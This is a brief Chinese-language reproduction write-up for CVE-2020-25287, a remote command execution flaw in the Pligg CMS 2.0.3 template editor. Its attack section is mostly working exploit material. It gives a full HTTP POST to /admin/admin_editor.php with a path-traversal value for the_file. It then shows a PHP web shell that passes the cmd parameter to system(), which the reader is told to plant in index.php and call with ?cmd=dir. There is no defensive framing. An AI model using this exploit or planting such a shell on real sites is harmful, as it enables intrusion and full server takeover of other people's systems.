(CVE-2020-25287)Pligg CMS 2.0.3 远程命令执行漏洞

一、漏洞简介

该漏洞源于模板编辑器可以编辑任何文件。攻击者可利用该漏洞执行任意命令。

二、漏洞影响

Pligg CMS 2.0.3

三、复现过程

POC

1.png

转到/admin/admin_editor.php拦截请求并将路径更改为文件。

例如访问目录中的index.php文件:

2.png

POST /admin/admin_editor.php HTTP/1.1
Host: www.0-sec.org
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://kliqqi
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.0-sec.org/admin/admin_editor.php
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: panelState=CollapseManage%7CCollapseSettings%7CCollapseTemplate; PHPSESSID=lfkc3gtrv5o1golmt5md3; mnm_user=Admin; mnm_key=QWRtaW46MjI0R2dEVTAxZncxZzpl
Connection: close

the_file=..%2Findex.php&open=Open

只需单击"在浏览器中显示响应",然后编辑文件即可

3.png

例如 :

  if($_GET['cmd']){
    system($_GET['cmd']);
}

最后访问website.fr?cmd=dir

4.png